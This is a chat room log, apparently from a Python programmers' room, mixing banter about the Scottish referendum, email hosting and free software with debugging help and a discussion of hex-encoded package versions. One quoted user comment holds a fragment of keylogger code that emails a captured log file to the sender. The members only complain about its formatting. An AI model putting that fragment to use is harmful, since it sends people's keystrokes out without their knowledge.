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1:41 AM
cbg()
 
 
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4:15 AM
@MartijnPieters poor you
 
Oh, serial upvoting did not refer to the referendum @MartijnPieters, took me a minute or so too long..
 
4:32 AM
Yeah, looks quite decisive.
 
Aye
 
max available left votes to make a difference vote is not technically possible
so - coupla hours kips... here puppy comes :)
 
5:31 AM
cbg @Martijn :)
 
6:09 AM
Who is this Armin Ronacher guy?
 
Can't quite tell whether you're joking ...
 
cbg!
@JonClements My computer was still plugged in and and logged into the room..
A no vote, wife disappointed.
 
6:26 AM
cbg
 
6:39 AM
Cbg
@JonClements what a waste of time that all was
 
7:07 AM
Pimping up the sopython chatroom site at meta.stackoverflow.com/questions/271686/…
 
Woo python silver.
 
@Ffisegydd congrats!
Up and onwards! Gold can be had!
 
I think I can hit 10k before Christmas (which will be roughly 1 year on the site)
I doubt I can get gold before then though.
 
7:46 AM
Cabbage!
 
@MartijnPieters I like the idea of other chatrooms all using Python :)
 
8:03 AM
Yup, show the PHPers what real code looks like. :-P
4
That remark was perhaps mean...
 
@JonClements are we happy about that UK did not fall apart?
cbg(all)
 
@Peter I am glad they didn't leave.
 
my gut says, it is not the end of the story.. although I don't know if it is a good thing or a bad one
I clearly don't have enough information (and motivation) to judge the situation
but I'm still curious :)
 
@PeterVaro short version: 1) Alex thinks he's William Wallace. 2) Scottish Yes voters are comparing the reality of life in the UK with the unsubstantiated promises of Alex regarding life not in the UK, and find the promises sounds nicer than the reality.
 
@RobertGrant I don't think that is entirely a fair assessment.
 
8:14 AM
I don't think either ;)
but thanks for the honest opinion from one side ;)
 
Having lived in Norway I've seen what independence can bring; and my wife fully expected that Scotland would have to go to some hard economic times at first if they had voted Yes.
But, as she said, she had the courage to leave Scotland; a lot of Scots haven't and are scared of going it alone.
So she concedes that her views are perhaps not shared by all ;-)
 
@MartijnPieters I assume she doesn't go it alone, and does in fact live in another country :)
But saying it's either a Yes vote or the person is scared is sort of excluding a massive middle, made up of people who, just like the people living in Cornwall or Kent or Liverpool, are just asking why they should secede, and not getting a good enough answer
(If those places also had an Alex equivalent in them)
I could've constructed that sentence better
 
8:30 AM
Hey up @Intrepid
 
Morning folks. I'm remarkably chipper this morning
Can't think why ;)
 
Funny that.
Put some extra pip in your porridge.
 
@RobertGrant Sure, plenty of people don't see the point. I do find it interesting that 45% did.
Anywho, on a train, so signing of.
Rhubarb!
 
soooooo @IntrepidBrit will you share your thoughts with me?
 
@Peter that's a dangerous question to ask :P
I could share thoughts with you but they may scar you for life.
 
8:35 AM
I know, I know, however yesterday IntrepidBrit says he is not in the right mood so I had t wait until now
@Ffisegydd umm.. what exactly about? o.O
 
If I told you then you'd be scarred, I couldn't do that to a friend :)
 
@MartijnPieters Rhubarb!
@PeterVaro OF course. What do you want to know?
 
@Ffisegydd you think I scare easily, don't you? naah, I'm braver (and also crazier) than that :P
 
Not scared, scarred :P
 
@IntrepidBrit what do you think? ;) about Pluto being a planet or a moon ofc..
 
8:40 AM
@Peter Pluto is neither a planet, nor a moon, it's a dwarf planet :P
 
sssshhhh -- I was trying to get an answer from @IntrepidBrit
 
@PeterVaro I'm relieved because of the result
 
Cbg
 
@vaultah Cabbage
 
@IntrepidBrit so you thought it was a terrible idea to became independent..
 
8:44 AM
@PeterVaro I don't think it's a terrible idea - just that it wouldn't have solved many of the problems we were facing
 
in that case the more important question is: what will?
 
No idea. But we can approach some of them as a single nation
Some of them are even bigger than us, and we've got to look to making the EU work
So that as an even larger whole, we can tackle those problems
 
I see.. well.. if the EU will work or not that is a tough question..
 
Indeed
It's currently failing, with respect to the Ukraine crisis
But thankfully with the UK staying together, a strong bulwark against further aggression has been held up. Russian foreign policy has long stated that a UK isolated from Europe is necessary for success
And we're doing that all by ourselves right now
 
anyway something totally offtopic
 
8:54 AM
Python?
 
we are using gnu/linux, because we believe in free software as in freedom -- but how about mailing? I mean, I still use gmail, which I guess is has the the most malicious features in it -- do you have any alternatives for that?
(which is just as feature-rich as gmail)
 
Check out roundcube
 
Letters.
 
@Ffisegydd :P
 
If you want to host it yourself, that is
 
8:58 AM
well, I don't
does this mean I can't have a real free one?
 
@Ffisegydd I JUST LOVED that movie ;)
 
Okay, sorry :)
 
9:02 AM
Oh hells yeah!
 
Ahoy!
 
cbg(@JonClements)
@JonClements I'm curious if you have any suggestion on this one
 
@Peter well... I'm currently using gmail for sopython.com - as it's not that easy to set up your own server securely and get all the features etc...
 
I know, that's exactly why I'm asking..
google as an amazing spam filter
and all the wonderful features -- but it is still not free
I can't believe the FOSS community did not come up with some kind of alternative on this one..
 
9:08 AM
Possibly because if you want free hosting as well then there has to be some sort of business case behind it
 
takes a deep breath FREEEEEEDOM ISN'T FREEEEEEE!
 
They have. It's roundcube.
 
(It's libre)
 
There is a paid-for email provider that I think is in Switzerland or something
The one Bruce Schneier recommended
 
@Ffisegydd I just imagined your face, taking a deep breath and shouting -- hilarious;)
 
9:11 AM
I actually did that. My officemates are thoroughly confused.
 
:D:D:D
@RobertGrant btw I tried RC a long time ago (2 years I guess) and it can not be compared to gmail -- at least not the ui/ux -- it was terrible
 
I've got roundcube on ffisegydd.com but I don't use it (the mail gets forwarded to Gmail :D)
 
Looks nicer now
I still use the old version, but it's been neatened up a lot since then
 
Well... techincally setting up an email server is easy
Securing it, making sure it's available 24/7, getting SPF records and etc... etc...
 
^ I think that is one half of the problem, the other is: I guess I don't even know 2/3 of the stuffs it supposed to do :P
 
9:16 AM
That's why I chose google for the email management of sopython.com - sure, you do have to pay for it, but at least you've got a large infrastrcture behind it, support teams - all the support of imap/pop/smtp delegated servers etc...
and you get the web interface, calendars, drive space... all that on top
 
@peter try zohomail
 
@JonClements you know it is not about the money (free != gratis && free == freedom)
damn.. these companies are so good at bringing five stars experiences
:(
@Swordy hehe;) I'm looking at it right now
 
Yes... but there comes a practical difference between doing your own for free (which costs you time and potential problems) to paying someone that can do it for a tiny bit of money that can do it properly and is responsible for doing so
 
and also by scanning your stuffs and use those data on you -- this is my only concern, nothing more
 
I'm not overly concerned about data collection... it happens on the net (and in real life) whether you're concious of it or not...
 
9:24 AM
@PeterVaro Mailpile looks cool, but it's still in beta
 
(Don't think I work in the data industry and although I can't disclose much there's a huge amount of data for everyone regardless if they signed up for a superstore club card, bothered signing up to the electoral roll or have an email account)
 
@JonClements hang on a second.. you taught me that free software is more about the philosophy, and that's why we sacrifice things, now you are telling me, that well, proprietary is better because they are easier?
 
"Better" is very subjective.
 
@RobertGrant that looks promising!
 
Yeah it actually looks quite cool, I'm intruiged
Oh, but I don't think it's what you're after
 
9:27 AM
@Ffisegydd I know, I'm trying to provoke @JonClements because I'm really really curious about the consistent behaviour of being free
 
Unless someone offers mailpile hosting
 
@Peter no... it also comes down to simple economics
If I were to pay for a server dedicated to email, then maintain it, keep it updated and keep it secured... it just simply wouldn't be viable
 
@JonClements but that can't be an argument against the free software movement, can it?
because that's what I said earlier for you: use a Mac -- you don't have to do anything with it, it will work => more viable (and before 10.10 it was more beautiful than any other OS out there)
 
no - and it's not one either... It's a preferred choice that while I choose OS and FOSS over most things, in some things you just have to make other choices
 
that still doesn't feel like a real argument..
(don't get me wrong, I started this topic, because I don't see any real alternatives either)
 
9:33 AM
@PeterVaro he's not arguing against FOSS; he's saying if you want a service (using FOSS or not) then you probably have to pay for it :)
 
(but it is just funny, how we fight against malicious features, and saying we are free, because we are using FOSS -- however on our real communication-channels, we use the world's most malicious service ever made)
 
Hi all :)
 
@PeterVaro PRISM?
 
@RobertGrant I'm really not talking about money here -- I don;t care about money right now -- all I care about is philosophy actually and consistent behaviour
cbg(@Sabಠ_ಠ)
 
cbg @PeterVaro :)
It's been so long i haven't touched python (1 month)
I've been diving into Java a lot in my second semester
 
9:36 AM
Sup @Sab, been a while.
re. Java: you're disgraceful, get out.
 
@Peter you can't always be consistent in what you want to achieve :)
 
XD
@Ffisegydd Indeed :P
I'm not disgraceful, I need to do what college forces me to do. that's why I always hate schools and colleges
 
@JonClements but that is opportunism (am I using the correct phrase?)
 
Java is cool though, I managed to make a Checkers Game in it.
 
@Jon we did agree to that race to 6/60k right? Cos I'm one upvote away so think you're gonna lose.
 
9:38 AM
But python elegance is on another level
 
@Ffisegydd shall I dig up the transcripts that say no? :)
oh, almost forgot
@Ffisegydd STEWIE!!!!!!!!!!!!!!!!!!
 
@Jon BRIIIIIIIANNNNNNNNN!!!!! and nah we don't need to go into the transcripts, we both know that we agreed to the race.
 
@PeterVaro I'm not saying you are; I was just trying to explain what he was saying, and that it wasn't against FOSS
 
grr.. and.. vrr.. and.. dlak;ubfgxkugFCIGVDfipuxbtiuflgnF;I...
 
FGITW'd by Martijn. I need to start writing code directly into the answer box (and trusting my Python-fu) rather than putting it into ST and running it first.
 
9:40 AM
I WANT TO BE FREE..!
 
@Ffisegydd I just knew you would link that
I was actually searching for a better version myself
:P
 
Roger Taylor looks surprisingly good as a blonde.
 
btw @JonClements RMS looked like a pretty normal person at some point in history ;):)
@Ffisegydd not nearly as good as Eddie Izzard in blonde in Dress to Kill;)
 
Queen <3
 
9:45 AM
(sorry for the pings)
 
@Sab for your love of Queen you have been restored from disgrace.
 
Queen makes everything alright. <3
I just stumbled on November Rain. Dude that song is 9 minutes :/
 
grr
:D
java rocks :D
 
Right, right!
Java is awesome.
 
AnttiHaapala also knows Java and I ain't surprised
 
9:48 AM
Python is awesomer though.
 
true :D
but I just coded something in java to make it look almost as awesome as python :P
 
I want to make a checkers game in Python now
I made it in Java not sure how to make GUIs in Python
 
And we've broken 6k rep :D
 
@Ffisegydd beat David then? P)
 
I'm slowly pulling ahead, creating a buffer between us.
Got 600 rep lead on him now
I'm hoping to learn more scikit-learn to expand my niches.
 
9:52 AM
Well, since you started loving a panda above a cute yellow puppy... me not helping anymore :)
kidney of a horse, liver of a cat, filling up the sausages with all and that...
 
Tune.
 
(some person has been listening to les mis again sighs)
 
@Ffisegydd I'll go with that
It's better when you've seen it in person but anyway
 
why doesn't this display the text.. I am confused with these generators.
str(''.join(t.text for t in p.findall('.//{' + w + '}t')) for p in tree.findall('.//{' + w + '}p'))
 
10:02 AM
@Swordy didn't you ask that last week? :)
 
that was the count
I need the text , used list comprehension but that gave me a list
yeah it is supposed to give me a list.
 
weird that :)
 
I want str object after joining these texts..
type shows str
but printing gives: <generator object <genexpr> at 0x00000000112A8678>'
 
Your brackets aren't even
 
I have work to do... sorry - not getting involved in one of your arduous pulling teeth debug sessions again :)
 
10:06 AM
@Ffisegydd 4 opening and 4 closing :)
 
@RobertGrant I just read everything about it -- is is fudging awesome!
I will take it to a test-drive
 
@Swordy yes but I think they're in the wrong place.
 
You're calling str on a generator object.
 
looks bad
 
10:09 AM
@Swordy zen of python: explicit is better than implicit. split your line in multiple atomic lines and you'll find the problem..
 
A little toooo atomic / Yeah I really do think
 
damnit
def fib(n):
    F = [[1,1],[1,0]]
    if n == 0:
        return 0
    power(F, n - 1)
    return F[0][0]

def multiply(F, M):
    F[0][0], F[0][1], F[1][0], F[1][1] = (
        (F[0][0]*M[0][0] + F[0][1]*M[1][0]) % 1000000,
        (F[0][0]*M[0][1] + F[0][1]*M[1][1]) % 1000000,
        (F[1][0]*M[0][0] + F[1][1]*M[1][0]) % 1000000,
        (F[1][0]*M[0][1] + F[1][1]*M[1][1]) % 1000000
    )

def power(F, n):
    if n <= 1:
         return

    M = [[1, 1], [1, 0]]
    power(F, n // 2)
    multiply(F, F)
it is the link provided by popescu
 
Binary fib? :)
 
last 6 digits of fib(10^18)
bc I was like "how to calculate it fast", thanks to fast exponentiation and modularity it is pretty damn fast
 
Uhh @RobertGrant why did you comment on my answer from yesterday? (slightly confused)
 
10:17 AM
I'm not sure :) link?
 
@JonClements fav musical
 
He wants the variable name and value to be printed out by putting the value in. — Robert Grant 17 mins ago
I mean I understand what you're saying, was just wondering why you said it, the OP asked the question yesterday and accepted an answer that solved his issue
I understand what the OP wanted, just seemed to randomly appear :P
 
back about 2ish... rbrb for now
 
10:47 AM
1
A: Prevent user from accessing subsequent url in django

Isaac RaySo, a few things: 1st, I don't see you passing "question" to your template, but you call it ("question.que"). I also don't see you using "data" which you are passing. I'm assuming maybe you mean to be using data instead of question? In any case, what you can do is something like this: if data...

guys any help?
 
hi. how to return the particular value from dictionary. I am getting generator object when i do this -- > prob = {'2': 0.5, '4': 0.05, '3': 0.3, '1': 0.15}
print(j for i,j in prob.items() if i == '2')
i tried this also prob['i']
i want to add this with some other value. so i need the exact value
 
Wow. "O(1) performance is too good for me, I demand O(n)."
3
 
11:03 AM
-2
Q: How do I create a date and time string for NOW in human readable format in Python?

BozI'd like to create a date and time string in Python like this : 2014-09-19 11:58:03 For the current date/time. I've found the answer by trawling through google - but it took a while - mainly because it's not answered on stack overflow. So - I'm asking this simple question here to save others s...

Amazing. So amazing. "I couldn't find it on SO so I've asked it to save others time"
Closed as a dupe within 1 minute.
 
Is it possible to search for SO comments?
 
@Ffisegydd: should I reopen?
I'd like for another gold badge holder to re-close immediately in that case.
@DanielRoseman: you could do that. :-)
@DanielRoseman: I've been bouncing people with Django questions on Codementor over to you, hope you don't mind.
 
@MartijnPieters me me me me....
 
a letter from the bank that makes a thump on the floor... that can't be good
 
@thefourtheye: go right ahead. :-)
 
11:10 AM
@MartijnPieters Yes thanks for that, I've had a couple but we unfortunately weren't able to agree on times.
 
Argh
 
@DanielRoseman They do tend to come in at US west-coast times..
 
@MartijnPieters Done :-)
 
I saw, thanks. :-)
 
11:11 AM
Boring, boring , boring. Bye again.
 
splits again.
Rhubarb!
 
11:27 AM
Anyone else having SO chat issues?
 
w at yo m an?
 
That question has been deleted. Should it be reopened? It's a dupe so acts as a signpost
 
Hi, everyone. Is this question that hard? stackoverflow.com/questions/25883688/…
I'm really struggling to get any answer. It's not really everyday kind of question, not a trivial one, but no one is basically interested in 50 free rep. points?
How's that?
 
You said: " you don't need a complex semantic a.b.c version, but rather a timestamp of the latest merge/release" - so why not just use a timestamp rather than jump through hoops to encode one? seems like wasted effort on a minor detail.
 
To ensure, that this is a short line. Like 3 or 4 symbols. It's easier to memorize and deal with. No?
I gave an example in the question: 140907 becomes 30Q3 and like that. But I'm not sure how bad is the resulting line from the Python perspective, especially when it comes to packaging.
 
11:42 AM
well, considering the encoded timestamp will probably not have the same textual ordering as the original timestamp, it will probably break dependency processing (as provided by setuptools for example)
i.e. if somebody wanted to depend on a version of your package (and any later version)
 
That' what I was afraid of and this is basically what I wanted to hear - whether it can. or can't break things. Can you add it as an answer? So that 50 rep don't go to waste.
It surprises me how the question got viewed 20+ times and no one could name a couple of ways it could or could not break things in. I was ready to give up 50 rep for something simple as that for crying outloud.
 
Be happy the world still holds surprises for you
 
Well, of course. I'm just being a little grumpy.

Well, thank you for your attention to this issue and again, please add it as a answer to the original question, so that the bouncy could finally be awarded.
 
11:57 AM
"What are the possible considerations for <whatever>?" questions make potential answerers nervous, because there's no objective standard of what makes a good answer. You could spend a week researching, provide ten possible use cases, and the OP might reply "good start. What else?"
 
lol, my thoughts exactly
been bitten by that a few too many times
 
ROFL, I even added the last PS, as I considered this line of thinking - to no avail.
 
FWIW, I'm pretty sure that changing a digit string to a new base doesn't mess up sorting, as long as the resulting values are all have the same number of characters
 
wasn't sure, that's why I said "probably".
 
12:07 PM
(and the characters making up the new base must be in sorted order as well. The property holds for e.g. 0123456789ABCDEF; If your character set is 743!%0681@2^59#$, all bets are off)
 
here's another option: based on a timestamp YYYYMMDD, hex(year-2000+month*31+day) will give you a nice monotonic three-digit hex value to use as a version number.
(for the next few millenia at least)
 
Well, this is where the question originally came from - I'm also not sure of possible consequences of using such numbers as Python versions. Sure, the easy way out is to drop the idea and use normal versions, but I just got interested.
 
well, hex values at least guarantee textual comparison order
 
So any base is as sortable as the original number? Because I thought setuptools will sort only 10 base.
HEX is an interesting idea, actually yeah.
It solwes the problem of too much chars and seems legit in the sorting department.
 
hex works with setuptools
In [12]: import pkg_resources
In [13]: pkg_resources.parse_version('faa')
Out[13]: ('*faa', '*final')
In [14]: pkg_resources.parse_version('faa') == pkg_resources.parse_version('faa')
Out[14]: True
In [15]: pkg_resources.parse_version('fa9') == pkg_resources.parse_version('faa')
Out[15]: False
In [16]: pkg_resources.parse_version('fa9') < pkg_resources.parse_version('faa')
Out[16]: True
In [17]: pkg_resources.parse_version('fab') > pkg_resources.parse_version('faa')
Out[17]: True
 
12:14 PM
I don't know what setuptools does, but the lexicographic ordering of two digits strings of the same length, will stay the same when converted into any other base, and left-padded with zeroes so they're still the same length.
 
I remember that question from yesterday.
 
Wait a minute, HEX is a base of 16, doesn't it mean other bases should work the same way?
 
alright, so if you have a flask app on heroku, how do you use bower to install dependencies?
 
12:20 PM
@VsevolodGlumov Sounds like a reasonable conclusion to me, yes
 
@vsevolod two different arguments here: the general encoding of a string using a new base and representing an encoded value in hex.
 
Here is my code..... filename = LOG_FILENAME f = file( LOG_FILENAME ) attachment = MIMEText(f.read()) attachment.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(attachment) msg[ 'Subject' ] = 'Keylogger' msg[ 'From' ] = gmail_sender body = 'This is txt file' try: server.sendmail( gmail_sender,[TO],msg.as_string() ) print 'email sent' except: print 'error sending email' server.quit() — typhoon 12 44 secs ago
Argh, why do people do this.
 
Because they are evil.
 
anyway, back to work
 
12:22 PM
The real answer is probably "because they think that the comment field supports newline and significant whitespace"
 
They just don't know how the site works and yes that too
I didn't know either when I was new, so I had to delete my comments quite a few times back then
 
If they write "here's my code" and then edit in the code on a subsequent edit, that's a big red flag that they think pressing enter makes a new line instead of submitting.
 
haha, been there, done that xD
 
I still maintain that they are evil. Like everyone else on SO who asks questions. And everyone who answers questions. And everyone.
 
three regex questions tagged python in a row... that's rare
 
12:24 PM
The ones that then don't immediately notice the markup is mangled and edit the question are evil. Or at least criminally negligent. Making a comment and then not even looking at it to see if it's understandable.
 
why would you say that? most of my comments aren't understandable :)
even for me
 
Typical mind fallacy on my part. I always obsessively check my comments, so I assume anyone that doesn't must be somehow broken.
 
this is why you guide and the rest strive to follow
well, except for those who can't see what there is to follow...
and those who don't know how too
 
On the other hand, when I spend five minutes analyzing the same not-yet-submitted comment, I come to suspect that it's me that's broken.
 
I've answered a question the way it's written but not, I suspect, the way the OP wants it.
This is a mistake.
As now I'm gonna get "Ah I didn't want that I actually want <more complicated case>"
And all I can say is "Then why didn't you ask for that?"
 
12:35 PM
And now that you've done the hard work of teasing out the real requirements, another user will snatch the opportunity to answer the actual question.
 
Sounds about right.
 
disclaimer: that user may be me.
 
Or OP will continue to move the goal posts until I snap and kill him delete my answer in a huff.
 
Reading the post, I expect a follow up like "no, I don't want to replace the exact string www.test.com, I want to replace any string that looks like a URL"
 
Exactly.
My shaved knuckle is "Now, every occurrence of "www.test.com" should be replaced by "website_1", "website_2", and so on..." though.
 
12:38 PM
Because his sample string contains exactly one instance of test.com, but also contains test.de etc
 
Yeah exactly.
 
yeah, noticed that... with his test string, his code works :)
 
I changed the test string in my example just to show "website_2", etc
 
should be closed as not reproducible :)
 
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@user2129623 please see sopython.com/pages/chatroom
 
12:40 PM
@ffisegydd saw that too, but it's not what the OP wants ! lol
 
In particular please don't post your recently asked questions, anyone who is interested in answering questions will already be paying attention to the SO main site.
 
I'd love to know how to make data visualisations like this: ted.com/talks/chris_domas_the_1s_and_0s_behind_cyber_warfare
 
@isedev No it probably isn't what they want, but it's what they asked for.
 
cabbage all :D
 
@ffisegydd went to the pub at lunchtime, so forgive the nonsensical comments
 
12:46 PM
cbg Brainiac
 
cbg @Games you sexy beast.
 
@Ffisegydd Hey! Whats up?
 
Not much. Answering some questions and avoiding my thesis. Just hit 6k rep.
 
@Ffisegydd Congrats yo! :D
 
why is every job description like "looking for a 300 year old wizard versed in all programming languages; needs at least 350 years experience in ruby, html5, C++, and assembly to apply. This is a junior level position"
 
12:51 PM
@corvid Just apply, nothing is gna happen.
 
I see some possible explanations.
 
@corvid tell me about it. Alternatively some software companies here are refusing applicants who have done programming in the past. They want "fresh" people who they can mould to their will (read: teach them f***ing awful habits).
 
1. The person writing the description is clueless, and thinks those are reasonable requirements.
2. The person writing the description knows what they're doing, and in fact they get many qualified applicants even though we scoff
 
1 is a good thing: you bs at the interview and they won't know the difference.
2 sux bad
 
I did see a blog post talking about this and an advert saying "Must have a decade of experience in Go" when Go is about 6 years old.
 
12:53 PM
3. The position has already been filled by an existing employee's acquaintance, but they need to provide a public listing for legal reasons. So they list the acquaintance's exact skill set so no one else can qualify.
@Ffisegydd That one lies squarely in the clueless category.
 
(usually roles filled internally but HR policy dictates must be advertised)
 
Written by a HR rep with no clue.
Unfortunately when it comes to interviews an actual programmer is usually present.
 
I think the thing that is most annoying is "must have attended MIT or Harvard". Seems awfully close-minded
 
Apply anyway.
 
well, that discounts most europeans
 
12:55 PM
@corvid There are reasons for that though. Alumni networks from those places are strong.
I know that Akami almost exclusively hires MIT grads.
 
Akamai?
 
@DanielRoseman Are you sure its not amortized O(1)?
@corvid pretty much every wifi tech is made by them :P
 
I attended MIT! In the sense that for one day I was physically present on their campus, with the rest of the tour group.
I liked their electron microscope.
 
I applied to MIT, didn't get past the interview.
 
I worked at Akamai as an intern. Most of their departments aren't really to strict, except for their very mathy departments
 
12:59 PM
@Ffisegydd Normally interviews/contract opportunities I meet with have the CTO and MD present
 

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